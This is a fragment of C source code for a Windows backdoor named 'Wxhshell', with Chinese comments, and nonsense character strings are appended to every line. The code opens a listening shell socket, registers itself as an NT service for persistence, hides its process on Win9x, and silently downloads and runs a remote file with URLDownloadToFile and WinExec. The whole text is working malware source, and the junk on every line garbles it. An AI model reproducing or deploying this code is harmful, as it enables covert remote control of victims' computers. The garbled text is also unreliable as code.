ULONG InheritedFromUniqueProcessId; -<<!eH
} PROCESS_BASIC_INFORMATION; 7 IIM8/BI
j5ui
PROCNTQSIP NtQueryInformationProcess; xt`znNN
3@}_ F<"*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JP@UvDE|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >#8`Zy:/Y
@-MrmF)<U
HANDLE hProcess; n*;mFV0s
PROCESS_BASIC_INFORMATION pbi; oVsl,V
Dd{{d?;B
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $/d~bk@=l
if(NULL == hInst ) return 0; B!-W765Y
W``e6RX-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $MsM$]~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6zNN 8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {@3=vBl%O+
q$HBPR4h
if (!NtQueryInformationProcess) return 0; m<076O4|`
o<!#1#n+:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $23R%8j
if(!hProcess) return 0; \LS%bO,Y|
eM~i (]PY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GvVuF S>y
^.<IT"
CloseHandle(hProcess); SD697L9
2OZdj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y\%4Dir
if(hProcess==NULL) return 0; }u|0
F'h[g.\}
HMODULE hMod; ,$G89jSM
char procName[255]; ^7_<rs
unsigned long cbNeeded; 3yZ@i<rfH
^^%*2^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wDSU~\
;aFQP:l/
CloseHandle(hProcess); ?c43cYb
*]H ./a:1
if(strstr(procName,"services")) return 1; // 以服务启动 8.A ;
I<
-'I)2/%g
return 0; // 注册表启动 i\PN
} $4eogI7N>w
u{_T,k<!
// 主模块 V8N<%/A=
int StartWxhshell(LPSTR lpCmdLine) C( r?1ma
{ S5uV\Y/A
SOCKET wsl; }SOj3.9{c
BOOL val=TRUE; 9PGSr4V1
int port=0; E@N_~1
struct sockaddr_in door; ciXAyT cG
swJwy~
if(wscfg.ws_autoins) Install(); .jRXHrK;
$U6)km4
port=atoi(lpCmdLine); EGa}ml/G
@ojn<7W
if(port<=0) port=wscfg.ws_port; 4+uAd"
mM95BUB
WSADATA data; v8WoV*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &-{4JSII
j0OxR.S
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?HBc7$nW
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KQ 2]VN"?_
door.sin_family = AF_INET; $60+}B`m
door.sin_addr.s_addr = inet_addr("127.0.0.1"); q_I ''L
door.sin_port = htons(port); kdF#Nm
0/*z]2
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dpE+[O_
closesocket(wsl); mH8"k+k
return 1; |w:\fK[
} ABx0IdOcI
]~|zY5i!
if(listen(wsl,2) == INVALID_SOCKET) { rK`*v*
closesocket(wsl); YoahqXR`
return 1; "V^(i%E;
} ~xA'-N/
Wxhshell(wsl); _El=M0
WSACleanup(); ZOU$do>O
V%3K")
return 0; v/(< fI^
F02NnF
} -\r*D#aHBN
qf'uXH
// 以NT服务方式启动 O1-Ne.$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F+}MW/ra@
{ *O+N4tq
DWORD status = 0; G<>`O;i
DWORD specificError = 0xfffffff; TMq\}k-I5
I*'QD)
serviceStatus.dwServiceType = SERVICE_WIN32; fD
V:ueO
serviceStatus.dwCurrentState = SERVICE_START_PENDING; wG-X833\(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pxl7zz&pl=
serviceStatus.dwWin32ExitCode = 0; 6\(\
serviceStatus.dwServiceSpecificExitCode = 0; l0]z Zcpt
serviceStatus.dwCheckPoint = 0; yht_*7.lM
serviceStatus.dwWaitHint = 0; W4X=.vr
L0Xb^vx}m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @y)fR.!)1$
if (hServiceStatusHandle==0) return; 5a_1x|Fhi
vJK0>":G
status = GetLastError(); yn`H }@`k
if (status!=NO_ERROR) U
Tw\_s
{ ~%>ke
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3~"G27,
serviceStatus.dwCheckPoint = 0; ]iYjS
serviceStatus.dwWaitHint = 0; >u~
l_?
serviceStatus.dwWin32ExitCode = status; {&G0jsA
serviceStatus.dwServiceSpecificExitCode = specificError; Nx,.4CI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /tDwgxJ
return; epR7p^`7
} F0])g
#r>
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]qvrpI!E!
serviceStatus.dwCheckPoint = 0; y/Paq^Hd
serviceStatus.dwWaitHint = 0; w}X <]u
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x^xlH!Sc
} 48W$,
sO,,i]a0
// 处理NT服务事件,比如:启动、停止 Xu2:yf4No*
VOID WINAPI NTServiceHandler(DWORD fdwControl) [y&yy|*\
{ :$L^l{gT
switch(fdwControl) /X9K g
{ v[A)r]"j"M
case SERVICE_CONTROL_STOP: -Uh3A\#(
serviceStatus.dwWin32ExitCode = 0; 2mRm.e9?
serviceStatus.dwCurrentState = SERVICE_STOPPED; &,JrhMr\
serviceStatus.dwCheckPoint = 0; XE6sFU
serviceStatus.dwWaitHint = 0; aHuZzYQ*"j
{ ViKN|W>T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N7=lSBm
} o/t^rY y
return; W+k SL{0
case SERVICE_CONTROL_PAUSE: a9}7K/Y=d
serviceStatus.dwCurrentState = SERVICE_PAUSED; @FO=0_;y
break; 0g o{gUI
case SERVICE_CONTROL_CONTINUE: /m"O.17N
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^T2o9f
break; #Ie/|
case SERVICE_CONTROL_INTERROGATE: 9kZ[Z
,=>
break; # 3UrGom
}; bys5IOP{]o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "MM)AY*b
} HQGn[7JW
(JenTL`%u
// 标准应用程序主函数 +&bJhX
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J[ ;g
\
{ 8~*
|muN.e
,6@s N'c
// 获取操作系统版本 )09>#!*
OsIsNt=GetOsVer(); w>S;}[fM
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,58XLu
/;E{(%U)t
// 从命令行安装 tx`gXtO$
if(strpbrk(lpCmdLine,"iI")) Install(); ZP-^10
{+Zj}3o
// 下载执行文件 [A\DuJx
if(wscfg.ws_downexe) { GW{e"b/x
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BLaF++Fop
WinExec(wscfg.ws_filenam,SW_HIDE); 8/gA]I
6=#
} ZQ1,6<^9i[
l/xpAx
if(!OsIsNt) { FT8<a }o
// 如果时win9x,隐藏进程并且设置为注册表启动 1#tFO
HideProc(); S(2_s,J^
StartWxhshell(lpCmdLine); /dI8o
} emT/5'y
else @V}!elV
if(StartFromService()) FHbyL\Q
// 以服务方式启动 Dbl3ef
StartServiceCtrlDispatcher(DispatchTable); @js`$
else *(g0{V
// 普通方式启动 {Qba`lOkq
StartWxhshell(lpCmdLine); R,8 W7 3
W*;r}!ro
return 0; *q-VY[2
}